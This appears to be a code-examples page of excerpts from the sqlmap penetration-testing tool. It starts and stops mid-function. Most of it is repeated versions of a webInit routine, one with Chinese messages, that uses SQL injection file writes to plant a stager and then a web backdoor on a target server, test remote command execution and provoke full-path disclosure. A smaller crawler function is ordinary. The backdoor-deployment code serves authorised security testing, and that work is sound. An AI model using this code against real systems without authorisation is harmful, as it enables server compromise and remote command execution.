            # Fall-back to UNION queries file upload method
            if not uploaded:
                warnMsg = "unable to upload the file stager "
                warnMsg += "on '%s'" % directory
                singleTimeWarnMessage(warnMsg)

                if isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION):
                    infoMsg = "trying to upload the file stager on '%s' " % directory
                    infoMsg += "via UNION method"
                    logger.info(infoMsg)

                    stagerName = "tmpu%s.%s" % (randomStr(lowercase=True), self.webApi)
                    self.webStagerFilePath = posixpath.join(ntToPosixSlashes(directory), stagerName)

                    handle, filename = mkstemp()
                    os.fdopen(handle).close()  # close low level handle (causing problems later)

                    with open(filename, "w+") as f:
                        _ = decloak(os.path.join(paths.SQLMAP_SHELL_PATH, "stager.%s_" % self.webApi))
                        _ = _.replace("WRITABLE_DIR", directory.replace('/', '\\\\') if Backend.isOs(OS.WINDOWS) else directory)
                        f.write(utf8encode(_))

                    self.unionWriteFile(filename, self.webStagerFilePath, "text", forceCheck=True)

                    for match in re.finditer('/', directory):
                        self.webBaseUrl = "%s://%s:%d%s/" % (conf.scheme, conf.hostname, conf.port, directory[match.start():].rstrip('/'))
                        self.webStagerUrl = urlparse.urljoin(self.webBaseUrl, stagerName)

                        debugMsg = "trying to see if the file is accessible from '%s'" % self.webStagerUrl
                        logger.debug(debugMsg)

                        uplPage, _, _ = Request.getPage(url=self.webStagerUrl, direct=True, raise404=False)
                        uplPage = uplPage or ""

                        if "sqlmap file uploader" in uplPage:
                            uploaded = True
                            break

            if not uploaded:
                continue

            if "<%" in uplPage or "<?" in uplPage:
                warnMsg = "file stager uploaded on '%s', " % directory
                warnMsg += "but not dynamically interpreted"
                logger.warn(warnMsg)
                continue

            elif self.webApi == WEB_API.ASPX:
                kb.data.__EVENTVALIDATION = extractRegexResult(EVENTVALIDATION_REGEX, uplPage)
                kb.data.__VIEWSTATE = extractRegexResult(VIEWSTATE_REGEX, uplPage)

            infoMsg = "the file stager has been successfully uploaded "
            infoMsg += "on '%s' - %s" % (directory, self.webStagerUrl)
            logger.info(infoMsg)

            if self.webApi == WEB_API.ASP:
                match = re.search(r'input type=hidden name=scriptsdir value="([^"]+)"', uplPage)

                if match:
                    backdoorDirectory = match.group(1)
                else:
                    continue

                _ = "tmpe%s.exe" % randomStr(lowercase=True)
                if self.webUpload(backdoorName, backdoorDirectory, content=backdoorContent.replace("WRITABLE_DIR", backdoorDirectory).replace("RUNCMD_EXE", _)):
                    self.webUpload(_, backdoorDirectory, filepath=os.path.join(paths.SQLMAP_SHELL_PATH, 'runcmd.exe_'))
                    self.webBackdoorUrl = "%s/Scripts/%s" % (self.webBaseUrl, backdoorName)
                    self.webDirectory = backdoorDirectory
                else:
                    continue

            else:
                if not self.webUpload(backdoorName, posixToNtSlashes(directory) if Backend.isOs(OS.WINDOWS) else directory, content=backdoorContent):
                    warnMsg = "backdoor has not been successfully uploaded "
                    warnMsg += "through the file stager possibly because "
                    warnMsg += "the user running the web server process "
                    warnMsg += "has not write privileges over the folder "
                    warnMsg += "where the user running the DBMS process "
                    warnMsg += "was able to upload the file stager or "
                    warnMsg += "because the DBMS and web server sit on "
                    warnMsg += "different servers"
                    logger.warn(warnMsg)

                    message = "do you want to try the same method used "
                    message += "for the file stager? [Y/n] "
                    getOutput = readInput(message, default="Y")

                    if getOutput in ("y", "Y"):
                        self._webFileInject(backdoorContent, backdoorName, directory)
                    else:
                        continue

                self.webBackdoorUrl = posixpath.join(ntToPosixSlashes(self.webBaseUrl), backdoorName)
                self.webDirectory = directory

            self.webBackdoorFilePath = posixpath.join(ntToPosixSlashes(directory), backdoorName)

            testStr = "command execution test"
            output = self.webBackdoorRunCmd("echo %s" % testStr)

            if output == "0":
                warnMsg = "the backdoor has been uploaded but required privileges "
                warnMsg += "for running the system commands are missing"
                raise SqlmapNoneDataException(warnMsg)
            elif output and testStr in output:
                infoMsg = "the backdoor has been successfully "
            else:
                infoMsg = "the backdoor has probably been successfully "

            infoMsg += "uploaded on '%s' - " % self.webDirectory
            infoMsg += self.webBackdoorUrl
            logger.info(infoMsg)

            success = True

            break
Ejemplo n.º 21
0
def crawl(target):
    try:
        visited = set()
        threadData = getCurrentThreadData()
        threadData.shared.value = oset()

        def crawlThread():
            threadData = getCurrentThreadData()

            while kb.threadContinue:
                with kb.locks.limit:
                    if threadData.shared.unprocessed:
                        current = threadData.shared.unprocessed.pop()
                        if current in visited:
                            continue
                        elif conf.crawlExclude and re.search(
                                conf.crawlExclude, current):
                            dbgMsg = "skipping '%s'" % current
                            logger.debug(dbgMsg)
                            continue
                        else:
                            visited.add(current)
                    else:
                        break

                content = None
                try:
                    if current:
                        content = Request.getPage(url=current,
                                                  crawling=True,
                                                  raise404=False)[0]
                except SqlmapConnectionException as ex:
                    errMsg = "connection exception detected ('%s'). skipping " % getSafeExString(
                        ex)
                    errMsg += "URL '%s'" % current
                    logger.critical(errMsg)
                except SqlmapSyntaxException:
                    errMsg = "invalid URL detected. skipping '%s'" % current
                    logger.critical(errMsg)
                except httplib.InvalidURL as ex:
                    errMsg = "invalid URL detected ('%s'). skipping " % getSafeExString(
                        ex)
                    errMsg += "URL '%s'" % current
                    logger.critical(errMsg)

                if not kb.threadContinue:
                    break

                if isinstance(content, unicode):
                    try:
                        match = re.search(r"(?si)<html[^>]*>(.+)</html>",
                                          content)
                        if match:
                            content = "<html>%s</html>" % match.group(1)

                        soup = BeautifulSoup(content)
                        tags = soup('a')

                        if not tags:
                            tags = re.finditer(
                                r'(?i)<a[^>]+href="(?P<href>[^>"]+)"', content)

                        for tag in tags:
                            href = tag.get("href") if hasattr(
                                tag, "get") else tag.group("href")

                            if href:
                                if threadData.lastRedirectURL and threadData.lastRedirectURL[
                                        0] == threadData.lastRequestUID:
                                    current = threadData.lastRedirectURL[1]
                                url = urlparse.urljoin(current, href)

                                # flag to know if we are dealing with the same target host
                                _ = checkSameHost(url, target)

                                if conf.scope:
                                    if not re.search(conf.scope, url, re.I):
                                        continue
                                elif not _:
                                    continue

                                if url.split('.')[-1].lower(
                                ) not in CRAWL_EXCLUDE_EXTENSIONS:
                                    with kb.locks.value:
                                        threadData.shared.deeper.add(url)
                                        if re.search(r"(.*?)\?(.+)", url):
                                            threadData.shared.value.add(url)
                    except UnicodeEncodeError:  # for non-HTML files
                        pass
                    except ValueError:  # for non-valid links
                        pass
                    finally:
                        if conf.forms:
                            findPageForms(content, current, False, True)

                if conf.verbose in (1, 2):
                    threadData.shared.count += 1
                    status = '%d/%d links visited (%d%%)' % (
                        threadData.shared.count, threadData.shared.length,
                        round(100.0 * threadData.shared.count /
                              threadData.shared.length))
                    dataToStdout(
                        "\r[%s] [INFO] %s" % (time.strftime("%X"), status),
                        True)

        threadData.shared.deeper = set()
        threadData.shared.unprocessed = set([target])

        if not conf.sitemapUrl:
            message = "do you want to check for the existence of "
            message += "site's sitemap(.xml) [y/N] "

            if readInput(message, default='N', boolean=True):
                found = True
                items = None
                url = urlparse.urljoin(target, "/sitemap.xml")
                try:
                    items = parseSitemap(url)
                except SqlmapConnectionException as ex:
                    if "page not found" in getSafeExString(ex):
                        found = False
                        logger.warn("'sitemap.xml' not found")
                except:
                    pass
                finally:
                    if found:
                        if items:
                            for item in items:
                                if re.search(r"(.*?)\?(.+)", item):
                                    threadData.shared.value.add(item)
                            if conf.crawlDepth > 1:
                                threadData.shared.unprocessed.update(items)
                        logger.info("%s links found" %
                                    ("no" if not items else len(items)))

        infoMsg = "starting crawler"
        if conf.bulkFile:
            infoMsg += " for target URL '%s'" % target
        logger.info(infoMsg)

        for i in xrange(conf.crawlDepth):
            threadData.shared.count = 0
            threadData.shared.length = len(threadData.shared.unprocessed)
            numThreads = min(conf.threads, len(threadData.shared.unprocessed))

            if not conf.bulkFile:
                logger.info("searching for links with depth %d" % (i + 1))

            runThreads(numThreads, crawlThread, threadChoice=(i > 0))
            clearConsoleLine(True)

            if threadData.shared.deeper:
                threadData.shared.unprocessed = set(threadData.shared.deeper)
            else:
                break

    except KeyboardInterrupt:
        warnMsg = "user aborted during crawling. sqlmap "
        warnMsg += "will use partial list"
        logger.warn(warnMsg)

    finally:
        clearConsoleLine(True)

        if not threadData.shared.value:
            warnMsg = "no usable links found (with GET parameters)"
            logger.warn(warnMsg)
        else:
            for url in threadData.shared.value:
                kb.targets.add(
                    (urldecode(url, kb.pageEncoding), None, None, None, None))

        storeResultsToFile(kb.targets)
Ejemplo n.º 22
0
def initializeKb():
    kb.targets = Queue.Queue()
    kb.exps = {}
    kb.results = oset()
Ejemplo n.º 23
0
    def webInit(self):
        """
        This method is used to write a web backdoor (agent) on a writable
        remote directory within the web server document root.
        """

        if self.webBackdoorUrl is not None and self.webStagerUrl is not None and self.webApi is not None:
            return

        self.checkDbmsOs()

        default = None
        choices = list(getPublicTypeMembers(WEB_API, True))

        for ext in choices:
            if conf.url.endswith(ext):
                default = ext
                break

        if not default:
            default = WEB_API.ASP if Backend.isOs(OS.WINDOWS) else WEB_API.PHP

        message = "which web application language does the web server "
        message += "support?\n"

        for count in xrange(len(choices)):
            ext = choices[count]
            message += "[%d] %s%s\n" % (count + 1, ext.upper(),
                                        (" (default)"
                                         if default == ext else ""))

            if default == ext:
                default = count + 1

        message = message[:-1]

        while True:
            choice = readInput(message, default=str(default))

            if not choice.isdigit():
                logger.warn("invalid value, only digits are allowed")

            elif int(choice) < 1 or int(choice) > len(choices):
                logger.warn("invalid value, it must be between 1 and %d" %
                            len(choices))

            else:
                self.webApi = choices[int(choice) - 1]
                break

        directories = list(arrayizeValue(getManualDirectories()))
        directories.extend(getAutoDirectories())
        directories = list(oset(directories))

        backdoorName = "tmpb%s.%s" % (randomStr(lowercase=True), self.webApi)
        backdoorContent = decloak(
            os.path.join(paths.SQLMAP_SHELL_PATH,
                         "backdoor.%s_" % self.webApi))

        stagerContent = decloak(
            os.path.join(paths.SQLMAP_SHELL_PATH, "stager.%s_" % self.webApi))

        for directory in directories:
            if not directory:
                continue

            stagerName = "tmpu%s.%s" % (randomStr(lowercase=True), self.webApi)
            self.webStagerFilePath = posixpath.join(
                ntToPosixSlashes(directory), stagerName)

            uploaded = False
            directory = ntToPosixSlashes(normalizePath(directory))

            if not isWindowsDriveLetterPath(
                    directory) and not directory.startswith('/'):
                directory = "/%s" % directory
            else:
                directory = directory[2:] if isWindowsDriveLetterPath(
                    directory) else directory

            if not directory.endswith('/'):
                directory += '/'

            # Upload the file stager with the LIMIT 0, 1 INTO DUMPFILE method
            infoMsg = "trying to upload the file stager on '%s' " % directory
            infoMsg += "via LIMIT 'LINES TERMINATED BY' method"
            logger.info(infoMsg)
            self._webFileInject(stagerContent, stagerName, directory)

            for match in re.finditer('/', directory):
                self.webBaseUrl = "%s://%s:%d%s/" % (
                    conf.scheme, conf.hostname, conf.port,
                    directory[match.start():].rstrip('/'))
                self.webStagerUrl = urlparse.urljoin(self.webBaseUrl,
                                                     stagerName)
                debugMsg = "trying to see if the file is accessible from '%s'" % self.webStagerUrl
                logger.debug(debugMsg)

                uplPage, _, _ = Request.getPage(url=self.webStagerUrl,
                                                direct=True,
                                                raise404=False)
                uplPage = uplPage or ""

                if "sqlmap file uploader" in uplPage:
                    uploaded = True
                    break

            # Fall-back to UNION queries file upload method
            if not uploaded:
                warnMsg = "unable to upload the file stager "
                warnMsg += "on '%s'" % directory
                singleTimeWarnMessage(warnMsg)

                if isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION):
                    infoMsg = "trying to upload the file stager on '%s' " % directory
                    infoMsg += "via UNION method"
                    logger.info(infoMsg)

                    stagerName = "tmpu%s.%s" % (randomStr(lowercase=True),
                                                self.webApi)
                    self.webStagerFilePath = posixpath.join(
                        ntToPosixSlashes(directory), stagerName)

                    handle, filename = mkstemp()
                    os.fdopen(handle).close(
                    )  # close low level handle (causing problems later)

                    with open(filename, "w+") as f:
                        _ = decloak(
                            os.path.join(paths.SQLMAP_SHELL_PATH,
                                         "stager.%s_" % self.webApi))
                        _ = _.replace(
                            "WRITABLE_DIR",
                            utf8encode(
                                directory.replace('/', '\\\\') if Backend.
                                isOs(OS.WINDOWS) else directory))
                        f.write(_)

                    self.unionWriteFile(filename,
                                        self.webStagerFilePath,
                                        "text",
                                        forceCheck=True)

                    for match in re.finditer('/', directory):
                        self.webBaseUrl = "%s://%s:%d%s/" % (
                            conf.scheme, conf.hostname, conf.port,
                            directory[match.start():].rstrip('/'))
                        self.webStagerUrl = urlparse.urljoin(
                            self.webBaseUrl, stagerName)

                        debugMsg = "trying to see if the file is accessible from '%s'" % self.webStagerUrl
                        logger.debug(debugMsg)

                        uplPage, _, _ = Request.getPage(url=self.webStagerUrl,
                                                        direct=True,
                                                        raise404=False)
                        uplPage = uplPage or ""

                        if "sqlmap file uploader" in uplPage:
                            uploaded = True
                            break

            if not uploaded:
                continue

            if "<%" in uplPage or "<?" in uplPage:
                warnMsg = "file stager uploaded on '%s', " % directory
                warnMsg += "but not dynamically interpreted"
                logger.warn(warnMsg)
                continue

            elif self.webApi == WEB_API.ASPX:
                kb.data.__EVENTVALIDATION = extractRegexResult(
                    EVENTVALIDATION_REGEX, uplPage)
                kb.data.__VIEWSTATE = extractRegexResult(
                    VIEWSTATE_REGEX, uplPage)

            infoMsg = "the file stager has been successfully uploaded "
            infoMsg += "on '%s' - %s" % (directory, self.webStagerUrl)
            logger.info(infoMsg)

            if self.webApi == WEB_API.ASP:
                match = re.search(
                    r'input type=hidden name=scriptsdir value="([^"]+)"',
                    uplPage)

                if match:
                    backdoorDirectory = match.group(1)
                else:
                    continue

                _ = "tmpe%s.exe" % randomStr(lowercase=True)
                if self.webUpload(backdoorName,
                                  backdoorDirectory,
                                  content=backdoorContent.replace(
                                      "WRITABLE_DIR",
                                      backdoorDirectory).replace(
                                          "RUNCMD_EXE", _)):
                    self.webUpload(_,
                                   backdoorDirectory,
                                   filepath=os.path.join(
                                       paths.SQLMAP_SHELL_PATH, 'runcmd.exe_'))
                    self.webBackdoorUrl = "%s/Scripts/%s" % (self.webBaseUrl,
                                                             backdoorName)
                    self.webDirectory = backdoorDirectory
                else:
                    continue

            else:
                if not self.webUpload(backdoorName,
                                      posixToNtSlashes(directory) if
                                      Backend.isOs(OS.WINDOWS) else directory,
                                      content=backdoorContent):
                    warnMsg = "backdoor has not been successfully uploaded "
                    warnMsg += "through the file stager possibly because "
                    warnMsg += "the user running the web server process "
                    warnMsg += "has not write privileges over the folder "
                    warnMsg += "where the user running the DBMS process "
                    warnMsg += "was able to upload the file stager or "
                    warnMsg += "because the DBMS and web server sit on "
                    warnMsg += "different servers"
                    logger.warn(warnMsg)

                    message = "do you want to try the same method used "
                    message += "for the file stager? [Y/n] "
                    getOutput = readInput(message, default="Y")

                    if getOutput in ("y", "Y"):
                        self._webFileInject(backdoorContent, backdoorName,
                                            directory)
                    else:
                        continue

                self.webBackdoorUrl = posixpath.join(
                    ntToPosixSlashes(self.webBaseUrl), backdoorName)
                self.webDirectory = directory

            self.webBackdoorFilePath = posixpath.join(
                ntToPosixSlashes(directory), backdoorName)

            testStr = "command execution test"
            output = self.webBackdoorRunCmd("echo %s" % testStr)

            if output == "0":
                warnMsg = "the backdoor has been uploaded but required privileges "
                warnMsg += "for running the system commands are missing"
                raise SqlmapNoneDataException(warnMsg)
            elif output and testStr in output:
                infoMsg = "the backdoor has been successfully "
            else:
                infoMsg = "the backdoor has probably been successfully "

            infoMsg += "uploaded on '%s' - " % self.webDirectory
            infoMsg += self.webBackdoorUrl
            logger.info(infoMsg)

            break
Ejemplo n.º 24
0
    def webInit(self):
        """
        此方法用于在 web 服务器文档根目录中的可写远程目录中写入 web 后门 (代理)。
        """

        if self.webBackdoorUrl is not None and self.webStagerUrl is not None and self.webApi is not None:
            return

        self.checkDbmsOs()

        default = None
        choices = list(getPublicTypeMembers(WEB_API, True))

        for ext in choices:
            if conf.url.endswith(ext):
                default = ext
                break

        if not default:
            default = WEB_API.ASP if Backend.isOs(OS.WINDOWS) else WEB_API.PHP

        message = u"Web服务器支持哪种Web应用程序语言?\n"

        for count in xrange(len(choices)):
            ext = choices[count]
            message += "[%d] %s%s\n" % (count + 1, ext.upper(),
                                        (" (default)"
                                         if default == ext else ""))

            if default == ext:
                default = count + 1

        message = message[:-1]

        while True:
            choice = readInput(message, default=str(default))

            if not choice.isdigit():
                logger.warn("无效值,只允许使用数字")

            elif int(choice) < 1 or int(choice) > len(choices):
                logger.warn("无效值,它必须介于1和%d之间" % len(choices))

            else:
                self.webApi = choices[int(choice) - 1]
                break

        if not kb.absFilePaths:
            message = "你是否希望sqlmap进一步尝试引发完整的路径泄露? [Y/n] "

            if readInput(message, default='Y', boolean=True):
                headers = {}
                been = set([conf.url])

                for match in re.finditer(
                        r"=['\"]((https?):)?(//[^/'\"]+)?(/[\w/.-]*)\bwp-",
                        kb.originalPage or "", re.I):
                    url = "%s%s" % (conf.url.replace(
                        conf.path, match.group(4)), "wp-content/wp-db.php")
                    if url not in been:
                        try:
                            page, _, _ = Request.getPage(url=url,
                                                         raise404=False,
                                                         silent=True)
                            parseFilePaths(page)
                        except:
                            pass
                        finally:
                            been.add(url)

                url = re.sub(r"(\.\w+)\Z", "~\g<1>", conf.url)
                if url not in been:
                    try:
                        page, _, _ = Request.getPage(url=url,
                                                     raise404=False,
                                                     silent=True)
                        parseFilePaths(page)
                    except:
                        pass
                    finally:
                        been.add(url)

                for place in (PLACE.GET, PLACE.POST):
                    if place in conf.parameters:
                        value = re.sub(r"(\A|&)(\w+)=", "\g<2>[]=",
                                       conf.parameters[place])
                        if "[]" in value:
                            page, headers, _ = Request.queryPage(
                                value=value,
                                place=place,
                                content=True,
                                raise404=False,
                                silent=True,
                                noteResponseTime=False)
                            parseFilePaths(page)

                cookie = None
                if PLACE.COOKIE in conf.parameters:
                    cookie = conf.parameters[PLACE.COOKIE]
                elif headers and HTTP_HEADER.SET_COOKIE in headers:
                    cookie = headers[HTTP_HEADER.SET_COOKIE]

                if cookie:
                    value = re.sub(
                        r"(\A|;)(\w+)=[^;]*",
                        "\g<2>=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA",
                        cookie)
                    if value != cookie:
                        page, _, _ = Request.queryPage(value=value,
                                                       place=PLACE.COOKIE,
                                                       content=True,
                                                       raise404=False,
                                                       silent=True,
                                                       noteResponseTime=False)
                        parseFilePaths(page)

                    value = re.sub(r"(\A|;)(\w+)=[^;]*", "\g<2>=", cookie)
                    if value != cookie:
                        page, _, _ = Request.queryPage(value=value,
                                                       place=PLACE.COOKIE,
                                                       content=True,
                                                       raise404=False,
                                                       silent=True,
                                                       noteResponseTime=False)
                        parseFilePaths(page)

        directories = list(arrayizeValue(getManualDirectories()))
        directories.extend(getAutoDirectories())
        directories = list(oset(directories))

        path = urlparse.urlparse(conf.url).path or '/'
        if path != '/':
            _ = []
            for directory in directories:
                _.append(directory)
                if not directory.endswith(path):
                    _.append("%s/%s" %
                             (directory.rstrip('/'), path.strip('/')))
            directories = _

        backdoorName = "tmpb%s.%s" % (randomStr(lowercase=True), self.webApi)
        backdoorContent = decloak(
            os.path.join(paths.SQLMAP_SHELL_PATH,
                         "backdoor.%s_" % self.webApi))

        stagerContent = decloak(
            os.path.join(paths.SQLMAP_SHELL_PATH, "stager.%s_" % self.webApi))

        for directory in directories:
            if not directory:
                continue

            stagerName = "tmpu%s.%s" % (randomStr(lowercase=True), self.webApi)
            self.webStagerFilePath = posixpath.join(
                ntToPosixSlashes(directory), stagerName)

            uploaded = False
            directory = ntToPosixSlashes(normalizePath(directory))

            if not isWindowsDriveLetterPath(
                    directory) and not directory.startswith('/'):
                directory = "/%s" % directory

            if not directory.endswith('/'):
                directory += '/'

            # 使用LIMIT 0,1 INTO DUMPFILE方法上传文件
            infoMsg = u"尝试通过LIMIT'LINES TERMINATED BY'方法上传'%s'上的文件" % directory
            logger.info(infoMsg)
            self._webFileInject(stagerContent, stagerName, directory)

            for match in re.finditer('/', directory):
                self.webBaseUrl = "%s://%s:%d%s/" % (
                    conf.scheme, conf.hostname, conf.port,
                    directory[match.start():].rstrip('/'))
                self.webStagerUrl = urlparse.urljoin(self.webBaseUrl,
                                                     stagerName)
                debugMsg = "尝试查看该文件是否可以从'%s'访问" % self.webStagerUrl
                logger.debug(debugMsg)

                uplPage, _, _ = Request.getPage(url=self.webStagerUrl,
                                                direct=True,
                                                raise404=False)
                uplPage = uplPage or ""

                if "sqlmap file uploader" in uplPage:
                    uploaded = True
                    break

            # 退回到UNION查询文件上传方法
            if not uploaded:
                warnMsg = "无法在'%s'中上传文件" % directory
                singleTimeWarnMessage(warnMsg)

                if isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION):
                    infoMsg = "尝试通过UNION方法将文件上传到'%s'上" % directory
                    logger.info(infoMsg)

                    stagerName = "tmpu%s.%s" % (randomStr(lowercase=True),
                                                self.webApi)
                    self.webStagerFilePath = posixpath.join(
                        ntToPosixSlashes(directory), stagerName)

                    handle, filename = tempfile.mkstemp()
                    os.close(handle)

                    with open(filename, "w+b") as f:
                        _ = decloak(
                            os.path.join(paths.SQLMAP_SHELL_PATH,
                                         "stager.%s_" % self.webApi))
                        _ = _.replace(
                            "WRITABLE_DIR",
                            utf8encode(
                                directory.replace('/', '\\\\') if Backend.
                                isOs(OS.WINDOWS) else directory))
                        f.write(_)

                    self.unionWriteFile(filename,
                                        self.webStagerFilePath,
                                        "text",
                                        forceCheck=True)

                    for match in re.finditer('/', directory):
                        self.webBaseUrl = "%s://%s:%d%s/" % (
                            conf.scheme, conf.hostname, conf.port,
                            directory[match.start():].rstrip('/'))
                        self.webStagerUrl = urlparse.urljoin(
                            self.webBaseUrl, stagerName)

                        debugMsg = "正在尝试查看文件是否可以从'%s'访问" % self.webStagerUrl
                        logger.debug(debugMsg)

                        uplPage, _, _ = Request.getPage(url=self.webStagerUrl,
                                                        direct=True,
                                                        raise404=False)
                        uplPage = uplPage or ""

                        if "sqlmap file uploader" in uplPage:
                            uploaded = True
                            break

            if not uploaded:
                continue

            if "<%" in uplPage or "<?" in uplPage:
                warnMsg = "文件stager上传在'%s', " % directory
                warnMsg += "但不动态解释"
                logger.warn(warnMsg)
                continue

            elif self.webApi == WEB_API.ASPX:
                kb.data.__EVENTVALIDATION = extractRegexResult(
                    EVENTVALIDATION_REGEX, uplPage)
                kb.data.__VIEWSTATE = extractRegexResult(
                    VIEWSTATE_REGEX, uplPage)

            infoMsg = "文件stager已成功上传到'%s' - %s" % (directory,
                                                   self.webStagerUrl)
            logger.info(infoMsg)

            if self.webApi == WEB_API.ASP:
                match = re.search(
                    r'input type=hidden name=scriptsdir value="([^"]+)"',
                    uplPage)

                if match:
                    backdoorDirectory = match.group(1)
                else:
                    continue

                _ = "tmpe%s.exe" % randomStr(lowercase=True)
                if self.webUpload(backdoorName,
                                  backdoorDirectory,
                                  content=backdoorContent.replace(
                                      "WRITABLE_DIR",
                                      backdoorDirectory).replace(
                                          "RUNCMD_EXE", _)):
                    self.webUpload(_,
                                   backdoorDirectory,
                                   filepath=os.path.join(
                                       paths.SQLMAP_EXTRAS_PATH, "runcmd",
                                       "runcmd.exe_"))
                    self.webBackdoorUrl = "%s/Scripts/%s" % (self.webBaseUrl,
                                                             backdoorName)
                    self.webDirectory = backdoorDirectory
                else:
                    continue

            else:
                if not self.webUpload(backdoorName,
                                      posixToNtSlashes(directory) if
                                      Backend.isOs(OS.WINDOWS) else directory,
                                      content=backdoorContent):
                    warnMsg = "后门没有通过file stager成功上传,"
                    warnMsg += "这可能是因为运行Web服务器进程的用户没有权限"
                    warnMsg += "在运行DBMS进程的用户文件夹中上传文件,因为没有写入权限,"
                    warnMsg += "或者因为DBMS和Web服务位于不同的服务器上"
                    logger.warn(warnMsg)

                    message = "你想尝试使用与文件stager相同的方法? [Y/n] "

                    if readInput(message, default='Y', boolean=True):
                        self._webFileInject(backdoorContent, backdoorName,
                                            directory)
                    else:
                        continue

                self.webBackdoorUrl = posixpath.join(
                    ntToPosixSlashes(self.webBaseUrl), backdoorName)
                self.webDirectory = directory

            self.webBackdoorFilePath = posixpath.join(
                ntToPosixSlashes(directory), backdoorName)

            testStr = "命令执行测试"
            output = self.webBackdoorRunCmd("echo %s" % testStr)

            if output == "0":
                warnMsg = "后门已经上传,但缺少运行系统命令的必需权限"
                raise SqlmapNoneDataException(warnMsg)
            elif output and testStr in output:
                infoMsg = "后门已经成功 "
            else:
                infoMsg = "后门可能已经成功 "

            infoMsg += "上传到'%s' - " % self.webDirectory
            infoMsg += self.webBackdoorUrl
            logger.info(infoMsg)

            break
Ejemplo n.º 25
0
    def webInit(self):
        """
        This method is used to write a web backdoor (agent) on a writable
        remote directory within the web server document root.
        """

        if self.webBackdoorUrl is not None and self.webStagerUrl is not None and self.webApi is not None:
            return

        self.checkDbmsOs()

        default = None
        choices = list(getPublicTypeMembers(WEB_API, True))

        for ext in choices:
            if conf.url.endswith(ext):
                default = ext
                break

        if not default:
            default = WEB_API.ASP if Backend.isOs(OS.WINDOWS) else WEB_API.PHP

        message = "which web application language does the web server "
        message += "support?\n"

        for count in xrange(len(choices)):
            ext = choices[count]
            message += "[%d] %s%s\n" % (count + 1, ext.upper(), (" (default)" if default == ext else ""))

            if default == ext:
                default = count + 1

        message = message[:-1]

        while True:
            choice = readInput(message, default=str(default))

            if not choice.isdigit():
                logger.warn("invalid value, only digits are allowed")

            elif int(choice) < 1 or int(choice) > len(choices):
                logger.warn("invalid value, it must be between 1 and %d" % len(choices))

            else:
                self.webApi = choices[int(choice) - 1]
                break

        if not kb.absFilePaths:
            message = "do you want sqlmap to further try to "
            message += "provoke the full path disclosure? [Y/n] "

            if readInput(message, default='Y', boolean=True):
                headers = {}
                been = set([conf.url])

                for match in re.finditer(r"=['\"]((https?):)?(//[^/'\"]+)?(/[\w/.-]*)\bwp-", kb.originalPage or "", re.I):
                    url = "%s%s" % (conf.url.replace(conf.path, match.group(4)), "wp-content/wp-db.php")
                    if url not in been:
                        try:
                            page, _, _ = Request.getPage(url=url, raise404=False, silent=True)
                            parseFilePaths(page)
                        except:
                            pass
                        finally:
                            been.add(url)

                url = re.sub(r"(\.\w+)\Z", "~\g<1>", conf.url)
                if url not in been:
                    try:
                        page, _, _ = Request.getPage(url=url, raise404=False, silent=True)
                        parseFilePaths(page)
                    except:
                        pass
                    finally:
                        been.add(url)

                for place in (PLACE.GET, PLACE.POST):
                    if place in conf.parameters:
                        value = re.sub(r"(\A|&)(\w+)=", "\g<2>[]=", conf.parameters[place])
                        if "[]" in value:
                            page, headers, _ = Request.queryPage(value=value, place=place, content=True, raise404=False, silent=True, noteResponseTime=False)
                            parseFilePaths(page)

                cookie = None
                if PLACE.COOKIE in conf.parameters:
                    cookie = conf.parameters[PLACE.COOKIE]
                elif headers and HTTP_HEADER.SET_COOKIE in headers:
                    cookie = headers[HTTP_HEADER.SET_COOKIE]

                if cookie:
                    value = re.sub(r"(\A|;)(\w+)=[^;]*", "\g<2>=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA", cookie)
                    if value != cookie:
                        page, _, _ = Request.queryPage(value=value, place=PLACE.COOKIE, content=True, raise404=False, silent=True, noteResponseTime=False)
                        parseFilePaths(page)

                    value = re.sub(r"(\A|;)(\w+)=[^;]*", "\g<2>=", cookie)
                    if value != cookie:
                        page, _, _ = Request.queryPage(value=value, place=PLACE.COOKIE, content=True, raise404=False, silent=True, noteResponseTime=False)
                        parseFilePaths(page)

        directories = list(arrayizeValue(getManualDirectories()))
        directories.extend(getAutoDirectories())
        directories = list(oset(directories))

        path = urlparse.urlparse(conf.url).path or '/'
        if path != '/':
            _ = []
            for directory in directories:
                _.append(directory)
                if not directory.endswith(path):
                    _.append("%s/%s" % (directory.rstrip('/'), path.strip('/')))
            directories = _

        backdoorName = "tmpb%s.%s" % (randomStr(lowercase=True), self.webApi)
        backdoorContent = decloak(os.path.join(paths.SQLMAP_SHELL_PATH, "backdoors", "backdoor.%s_" % self.webApi))

        stagerContent = decloak(os.path.join(paths.SQLMAP_SHELL_PATH, "stagers", "stager.%s_" % self.webApi))

        for directory in directories:
            if not directory:
                continue

            stagerName = "tmpu%s.%s" % (randomStr(lowercase=True), self.webApi)
            self.webStagerFilePath = posixpath.join(ntToPosixSlashes(directory), stagerName)

            uploaded = False
            directory = ntToPosixSlashes(normalizePath(directory))

            if not isWindowsDriveLetterPath(directory) and not directory.startswith('/'):
                directory = "/%s" % directory

            if not directory.endswith('/'):
                directory += '/'

            # Upload the file stager with the LIMIT 0, 1 INTO DUMPFILE method
            infoMsg = "trying to upload the file stager on '%s' " % directory
            infoMsg += "via LIMIT 'LINES TERMINATED BY' method"
            logger.info(infoMsg)
            self._webFileInject(stagerContent, stagerName, directory)

            for match in re.finditer('/', directory):
                self.webBaseUrl = "%s://%s:%d%s/" % (conf.scheme, conf.hostname, conf.port, directory[match.start():].rstrip('/'))
                self.webStagerUrl = urlparse.urljoin(self.webBaseUrl, stagerName)
                debugMsg = "trying to see if the file is accessible from '%s'" % self.webStagerUrl
                logger.debug(debugMsg)

                uplPage, _, _ = Request.getPage(url=self.webStagerUrl, direct=True, raise404=False)
                uplPage = uplPage or ""

                if "sqlmap file uploader" in uplPage:
                    uploaded = True
                    break

            # Fall-back to UNION queries file upload method
            if not uploaded:
                warnMsg = "unable to upload the file stager "
                warnMsg += "on '%s'" % directory
                singleTimeWarnMessage(warnMsg)

                if isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION):
                    infoMsg = "trying to upload the file stager on '%s' " % directory
                    infoMsg += "via UNION method"
                    logger.info(infoMsg)

                    stagerName = "tmpu%s.%s" % (randomStr(lowercase=True), self.webApi)
